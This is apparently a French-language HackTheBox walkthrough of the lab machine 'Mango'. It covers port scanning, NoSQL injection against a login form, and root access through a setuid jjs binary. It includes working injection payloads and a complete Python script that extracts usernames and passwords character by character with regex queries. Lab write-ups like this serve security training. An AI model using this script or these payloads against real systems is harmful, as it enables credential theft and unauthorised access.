HackTheBox. Walkthrough Mango. Injection NoSQL et LPE via JJS

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox .

Dans cet article, nous exploitons l'injection NoSQL sous forme d'autorisation, et augmentons également les privilèges via JJS.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
, , Telegram . , , .

. , - , .

Recon


Cette machine a une adresse IP 10.10.10.162, que j'ajoute à / etc / hosts.

10.10.10.162    mango.htb

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 1000 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

image

Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.

nmap -A mango.htb -p22,80,443

image

Tout d'abord, allons voir le site. En accédant à mango.htb, ils nous jettent de http à https et parlent d'un problème avec le certificat. Si vous acceptez les risques, vous pouvez voir cette page.

image

Mais rien de plus intéressant. L'analyse nmap affiche les informations ssl-cert où le domaine est spécifié. Ajoutez-le à / etc / hosts.
10.10.10.162 staging-order.mango.htb
Et allons voir ce qu'il y a.

image

Il existe un formulaire d'autorisation - un point d'entrée possible.

Point d'accès


Nous essayons plusieurs techniques d'injection pour contourner l'autorisation. Et nous trouvons l'injection NoSql standard en comparant la réaction à deux conditions: la connexion est 123, le mot de passe est 123 et la connexion n'est pas 123, le mot de passe n'est pas 123.

image

Et après le résultat vrai réussi de la deuxième condition, nous obtenons une redirection vers home.php. Ainsi, l'injection de NoSql est possible.

image

Puisqu'il n'y a rien d'intéressant sur la page, la seule chose que nous pouvons tirer de cette vulnérabilité est les identifiants et les mots de passe.

UTILISATEUR


Voyons les longueurs des noms d'utilisateur et mots de passe maximum. Pour ce faire, vous pouvez utiliser les constructions suivantes:
login [$ regex] =. {Length} & password [$ ne] = 123 - pour la connexion (une comparaison des expressions régulières pour la connexion est effectuée et le mot de passe n'est pas valide);
connexion [$ ne] = 123; mot de passe [$ regex] =. {longueur} pour le mot de passe.

Faisons-le avec l'intrus burp.

image

image

image

Ainsi, la longueur de la connexion la plus longue est de 5 caractères. Après avoir fait les mêmes opérations pour le mot de passe, on constate que la longueur de la plus longue est de 16 caractères.

image

Comme il est trop long pour le trier avec vos mains, nous écrirons un script python. Tout d'abord, nous ferons une session de travail.

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []


Ensuite, nous implémentons une fonction pour énumérer les connexions. L'itération sera effectuée en utilisant l'expression régulière suivante ^ nom. * - de cette façon, nous allons étirer un caractère à la fois.

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)


Et une fonction similaire, en utilisant uniquement la connexion trouvée.

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))


CODE COMPLET:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("\nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]


Et, par conséquent, nous trouvons les informations d'identification de deux utilisateurs.

image

Nous nous connectons avec succès aux informations d'identification via SSH.

image

Nous avons un mot de passe du deuxième utilisateur, mais il ne permet pas de se connecter via SSH. Nous essayons de changer l'utilisateur localement en entrant le mot de passe que nous connaissons.

image

RACINE


Exécutons l'énumération de base à l'aide du script LinEnum .

image

Et nous trouvons le programme avec l'ensemble S-bit.

image

Vérification de JJS par exemple GTFOBins .

image

Il existe également des exemples de fonctionnement. Le shell local d'appel n'a pas fonctionné. Mais vous pouvez générer des clés ssh, écrire public dans /root/.ssh/authorized_keys et vous connecter en utilisant private.

image

Comptons la clé publique.

image

Et maintenant écrivez-le.

image

Et maintenant connectez-vous en tant que root.

image

Vous pouvez nous rejoindre sur Telegram. Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles